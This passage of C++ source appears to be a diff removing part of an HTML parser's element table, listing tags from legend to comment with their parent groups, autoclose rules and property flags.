- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,&gLabelKids,
- },
- {
- /*tag*/ eHTMLTag_legend,
- /*requiredAncestor*/ eHTMLTag_fieldset,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gInFieldset,&gInFieldset,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kNone, kInlineEntity, kNone,
- /*special props, prop-range*/ kRequiresBody,kDefaultPropRange,
- /*special parents,kids*/ &gInFieldset,0,
- },
- {
- /*tag*/ eHTMLTag_li,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gLIRootTags,&gLIRootTags,
- /*autoclose starttags and endtags*/ &gLIAutoClose,0,0,0,
- /*parent,incl,exclgroups*/ kBlockEntity, kFlowEntity, kSelf, // changed this back to kBlockEntity so we enable RS handling for phrasals. ref bug 181697
- /*special props, prop-range*/ kNoPropagate|kVerifyHierarchy|kRequiresBody, kDefaultPropRange,
- /*special parents,kids*/ 0,&gLIKids,
- },
- {
- /*tag*/ eHTMLTag_link,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gInHead,&gInHead,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kAllTags - kHeadContent, kNone, kNone,
- /*special props, prop-range*/ kNonContainer|kPreferHead|kLegalOpen,kDefaultPropRange,
- /*special parents,kids*/ &gInHead,0,
- },
- {
- /*tag*/ eHTMLTag_listing,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kPreformatted, (kSelf|kFlowEntity), kNone, //add flowentity to fix 54993
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_main,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kBlock, (kSelf|kFlowEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_map,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kSpecial, kInlineEntity|kBlockEntity, kNone,
- /*special props, prop-range*/ 0, kDefaultPropRange,
- /*special parents,kids*/ 0,&gMapKids,
- },
- {
- /*tag*/ eHTMLTag_mark,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kSpecial, (kInlineEntity|kSelf|kFlowEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_marquee,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kSpecial, (kSelf|kFlowEntity), kNone,
- /*special props, prop-range*/ kRequiresBody, kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_menu,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kList, (kSelf|kFlowEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,&gULKids,
- },
- {
- /*tag*/ eHTMLTag_menuitem,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFlowEntity, kNone, kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_meta,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gInHead,&gInHead,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kHeadContent, kNone, kNone,
- /*special props, prop-range*/ kNoStyleLeaksIn|kNonContainer, kDefaultPropRange,
- /*special parents,kids*/ &gInHead,0,
- },
- {
- /*tag*/ eHTMLTag_meter,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFormControl, kFlowEntity, kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_multicol,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kBlock, kFlowEntity, kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_nav,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kBlock, (kSelf|kFlowEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_nobr,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kExtensions, kFlowEntity, kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_noembed,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFlowEntity, kFlowEntity, kNone,
- /*special props, prop-range*/ 0, kNoPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_noframes,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gNoframeRoot,&gNoframeRoot,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFlowEntity, kFlowEntity, kNone,
- /*special props, prop-range*/ 0, kNoPropRange,
- /*special parents,kids*/ &gNoframeRoot,0,
- },
- {
- /*tag*/ eHTMLTag_noscript,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFlowEntity|kHeadMisc, kFlowEntity|kSelf, kNone,
- /*special props, prop-range*/ 0, kNoPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_object,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kSpecial, (kFlowEntity|kSelf), kNone,
- /*special props, prop-range*/ kNoStyleLeaksOut|kPreferBody,kDefaultPropRange,
- /*special parents,kids*/ 0,&gContainsParam,
- },
- {
- /*tag*/ eHTMLTag_ol,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gOLRootTags,&gOLRootTags,
- /*autoclose starttags and endtags*/ &gOLAutoClose, &gULCloseTags, 0,0,
- /*parent,incl,exclgroups*/ kList, (kFlowEntity|kSelf), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,&gULKids,
- },
- {
- /*tag*/ eHTMLTag_optgroup,
- /*requiredAncestor*/ eHTMLTag_select,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gOptgroupParents,&gOptgroupParents,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kNone, kNone, kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ &gOptgroupParents,&gContainsOpts,
- },
- {
- /*tag*/ eHTMLTag_option,
- /*requiredAncestor*/ eHTMLTag_select,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gOptgroupParents,&gOptgroupParents,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kNone, kPCDATA, kFlowEntity|kHeadMisc,
- /*special props, prop-range*/ kNoStyleLeaksIn|kNoPropagate, kDefaultPropRange,
- /*special parents,kids*/ &gOptgroupParents,&gContainedInOpt,
- },
- {
- /*tag*/ eHTMLTag_output,
- /*requiredAncestor*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kSpecial, (kInlineEntity|kSelf), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_p,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kBlock, kInlineEntity, kNone, //this used to contain FLOW. But it's really an inline container.
- /*special props, prop-range*/ kHandleStrayTag,kDefaultPropRange, //otherwise it tries to contain things like H1..H6
- /*special parents,kids*/ 0,&gInP,
- },
- {
- /*tag*/ eHTMLTag_param,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gParamParents,&gParamParents,
- /*autoclose starttags and endtags*/ &gPAutoClose,0,0,0,
- /*parent,incl,exclgroups*/ kSpecial, kNone, kNone,
- /*special props, prop-range*/ kNonContainer, kNoPropRange,
- /*special parents,kids*/ &gParamParents,0,
- },
- {
- /*tag*/ eHTMLTag_plaintext,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kExtensions, kCDATA, kNone,
- /*special props, prop-range*/ 0, kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_pre,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kBlock|kPreformatted, (kSelf|kFlowEntity), kNone, // Note: PRE is a block level element - bug 80009
- /*special props, prop-range*/ kRequiresBody, kDefaultPropRange,
- /*special parents,kids*/ 0,&gPreKids,
- },
- {
- /*tag*/ eHTMLTag_progress,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFormControl, kFlowEntity, kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_q,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kSpecial, (kSelf|kInlineEntity), kNone,
- /*special props, prop-range*/ 0, kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_s,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFontStyle, (kSelf|kInlineEntity), kNone,
- /*special props, prop-range*/ 0, kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_samp,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kPhrase, (kSelf|kInlineEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_script,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ (kSpecial|kHeadContent), kCDATA, kNone, // note: this is kHeadContent since shipping this breaks things.
- /*special props, prop-range*/ kNoStyleLeaksIn|kLegalOpen, kNoPropRange,
- /*special parents,kids*/ 0,&gContainsText,
- },
- {
- /*tag*/ eHTMLTag_section,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kBlock, (kSelf|kFlowEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_select,
- /*requiredAncestor*/ eHTMLTag_unknown, eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gInForm,&gInForm,
- /*autoclose starttags and endtags*/ &gInputAutoClose,0,0,0,
- /*parent,incl,exclgroups*/ kFormControl, kNone, kFlowEntity|kDLChild|kHeadMisc, // Added kHeadMisc to fix bug 287349
- /*special props, prop-range*/ kNoPropagate|kNoStyleLeaksIn|kRequiresBody, kDefaultPropRange,
- /*special parents,kids*/ &gInForm,&gContainsOpts,
- },
- {
- /*tag*/ eHTMLTag_small,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFontStyle, (kSelf|kInlineEntity), kNone,
- /*special props, prop-range*/ 0, kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_source,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gSourceParents,&gSourceParents,
- /*autoclose starttags and endtags*/ &gPAutoClose, 0, 0,0,
- /*parent,incl,exclgroups*/ kSpecial, kNone, kNone,
- /*special props, prop-range*/ kNonContainer,kNoPropRange,
- /*special parents,kids*/ &gSourceParents,0,
- },
- {
-
- // I made span a special% tag again, (instead of inline).
- // This fixes the case: <font color="blue"><p><span>text</span>
-
- /*tag*/ eHTMLTag_span,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kSpecial, (kInlineEntity|kSelf|kFlowEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
-
- /*tag*/ eHTMLTag_strike,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFontStyle, (kSelf|kInlineEntity), kNone,
- /*special props, prop-range*/ 0, kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
-
- /*tag*/ eHTMLTag_strong,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kPhrase, (kSelf|kInlineEntity), kNone, //changed this to inline per spec; fix bug 44584.
- /*special props, prop-range*/ 0, kDefaultPropRange,
- /*special parents,kids*/ 0,&gContainsText,
- },
- {
-
- /*tag*/ eHTMLTag_style,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kAllTags - kHeadContent, kCDATA, kNone,
- /*special props, prop-range*/ kNoStyleLeaksIn|kPreferHead|kLegalOpen, kNoPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_sub,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kSpecial, (kSelf|kInlineEntity), kNone,
- /*special props, prop-range*/ 0, kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
-
- /*tag*/ eHTMLTag_sup,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kSpecial, (kSelf|kInlineEntity), kNone,
- /*special props, prop-range*/ 0, kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_table,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gTableRootTags,&gTableRootTags,
- /*autoclose starttags and endtags*/ 0,&gTableCloseTags,0,0,
- /*parent,incl,exclgroups*/ kBlock, kNone, (kSelf|kInlineEntity),
- /*special props, prop-range*/ (kBadContentWatch|kNoStyleLeaksIn|kRequiresBody), 2,
- /*special parents,kids*/ 0,&gTableKids,
- },
- {
- /*tag*/ eHTMLTag_tbody,
- /*requiredAncestor*/ eHTMLTag_table, eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gInTable,&gInTable,
- /*autoclose starttags and endtags*/ &gTBodyAutoClose,0,0,0,
- /*parent,incl,exclgroups*/ kNone, kNone, (kSelf|kInlineEntity),
- /*special props, prop-range*/ (kNoPropagate|kBadContentWatch|kNoStyleLeaksIn|kNoStyleLeaksOut), kDefaultPropRange,
- /*special parents,kids*/ &gInTable,&gTBodyKids,
- },
- {
- /*tag*/ eHTMLTag_td,
- /*requiredAncestor*/ eHTMLTag_table, eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gTDRootTags,&gTDRootTags,
- /*autoclose starttags and endtags*/ &gTDCloseTags,&gTDCloseTags,0,&gExcludableParents,
- /*parent,incl,exclgroups*/ kNone, kFlowEntity, kSelf,
- /*special props, prop-range*/ kNoStyleLeaksIn|kNoStyleLeaksOut, kDefaultPropRange,
- /*special parents,kids*/ &gTDRootTags,&gBodyKids,
- },
- {
- /*tag*/ eHTMLTag_textarea,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gInForm,&gInForm,
- /*autoclose starttags and endtags*/ &gInputAutoClose,0,0,0,
- /*parent,incl,exclgroups*/ kFormControl, kPCDATA, kNone,
- /*special props, prop-range*/ kRequiresBody|kNoStyleLeaksIn,kDefaultPropRange,
- /*special parents,kids*/ &gInForm,&gContainsText,
- },
- {
- /*tag*/ eHTMLTag_tfoot,
- /*requiredAncestor*/ eHTMLTag_table, eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gInTable,&gInTable,
- /*autoclose starttags and endtags*/ &gTBodyAutoClose,0,0,0,
- /*parent,incl,exclgroups*/ kNone, kNone, kSelf,
- /*special props, prop-range*/ (kNoPropagate|kBadContentWatch|kNoStyleLeaksIn|kNoStyleLeaksOut), kNoPropRange,
- /*special parents,kids*/ &gInTable,&gTableElemKids,
- },
- {
- /*tag*/ eHTMLTag_th,
- /*requiredAncestor*/ eHTMLTag_table, eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gTDRootTags,&gTDRootTags,
- /*autoclose starttags and endtags*/ &gTDCloseTags,&gTDCloseTags,0,0,
- /*parent,incl,exclgroups*/ kNone, kFlowEntity, kSelf,
- /*special props, prop-range*/ (kNoStyleLeaksIn|kNoStyleLeaksOut), kDefaultPropRange,
- /*special parents,kids*/ &gTDRootTags,&gBodyKids,
- },
- {
- /*tag*/ eHTMLTag_thead,
- /*req-parent excl-parent*/ eHTMLTag_table,eHTMLTag_unknown, //fix bug 54840...
- /*rootnodes,endrootnodes*/ &gInTable,&gInTable,
- /*autoclose starttags and endtags*/ &gTBodyAutoClose,0,0,0,
- /*parent,incl,exclgroups*/ kNone, kNone, kSelf,
- /*special props, prop-range*/ (kNoPropagate|kBadContentWatch|kNoStyleLeaksIn|kNoStyleLeaksOut), kNoPropRange,
- /*special parents,kids*/ &gInTable,&gTableElemKids,
- },
- {
- /*tag*/ eHTMLTag_template,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kNone, kNone, kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_time,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kPhrase, (kSelf|kInlineEntity), kNone,
- /*special props, prop-range*/ 0, kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_title,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gInHead,&gInHead,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kHeadContent,kPCDATA, kNone,
- /*special props, prop-range*/ kNoStyleLeaksIn, kNoPropRange,
- /*special parents,kids*/ &gInHead,&gContainsText,
- },
- {
- /*tag*/ eHTMLTag_tr,
- /*requiredAncestor*/ eHTMLTag_table, eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gTRParents,&gTREndParents,
- /*autoclose starttags and endtags*/ &gTRCloseTags,0,0,0,
- /*parent,incl,exclgroups*/ kNone, kNone, kInlineEntity,
- /*special props, prop-range*/ (kBadContentWatch|kNoStyleLeaksIn|kNoStyleLeaksOut), kNoPropRange,
- /*special parents,kids*/ &gTRParents,&gTRKids,
- },
- {
- /*tag*/ eHTMLTag_track,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gTrackParents,&gTrackParents,
- /*autoclose starttags and endtags*/ &gPAutoClose, 0, 0,0,
- /*parent,incl,exclgroups*/ kSpecial, kNone, kNone,
- /*special props, prop-range*/ kNonContainer,kNoPropRange,
- /*special parents,kids*/ &gTrackParents,0,
- },
- {
- /*tag*/ eHTMLTag_tt,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFontStyle, (kSelf|kInlineEntity), kNone,
- /*special props, prop-range*/ 0, kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_u,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFontStyle, (kSelf|kInlineEntity), kNone,
- /*special props, prop-range*/ 0, kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_ul,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gOLRootTags,&gOLRootTags,
- /*autoclose starttags and endtags*/ &gULAutoClose,&gULCloseTags,0,0,
- /*parent,incl,exclgroups*/ kList, (kFlowEntity|kSelf), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,&gULKids,
- },
- {
- /*tag*/ eHTMLTag_var,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kPhrase, (kSelf|kInlineEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_video,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0, 0, 0,0,
- /*parent,incl,exclgroups*/ kSpecial, (kFlowEntity|kSelf), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,&gVideoKids,
- },
- {
- /*tag*/ eHTMLTag_wbr,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kExtensions, kNone, kNone,
- /*special props, prop-range*/ kNonContainer|kRequiresBody,kNoPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_xmp,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kInlineEntity|kPreformatted, kCDATA, kNone,
- /*special props, prop-range*/ kNone,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_text,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gInBody,&gInBody,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFlowEntity, kNone, kNone,
- /*special props, prop-range*/ kNonContainer|kRequiresBody,kNoPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- // Whitespace must have a parent model of kHeadMisc to ensure that we
- // do the right thing for whitespace in the head section of a document.
- // (i.e., it must be non-exclusively a child of the head).
-
- /*tag*/ eHTMLTag_whitespace,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gInBody,&gInBody,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFlowEntity|kHeadMisc, kNone, kNone,
- /*special props, prop-range*/ kNonContainer|kLegalOpen,kNoPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- // Newlines must have a parent model of kHeadMisc to ensure that we
- // do the right thing for whitespace in the head section of a document.
- // (i.e., it must be non-exclusively a child of the head).
-
- /*tag*/ eHTMLTag_newline,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gInBody,&gInBody,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFlowEntity|kHeadMisc, kNone, kNone,
- /*special props, prop-range*/ kNonContainer|kLegalOpen, kNoPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- // Comments must have a parent model of kHeadMisc to ensure that we
- // do the right thing for whitespace in the head section of a document
- // (i.e., it must be non-exclusively a child of the head).
-
- /*tag*/ eHTMLTag_comment,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFlowEntity|kHeadMisc, kNone, kNone,
- /*special props, prop-range*/ kOmitEndTag|kLegalOpen,kNoPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
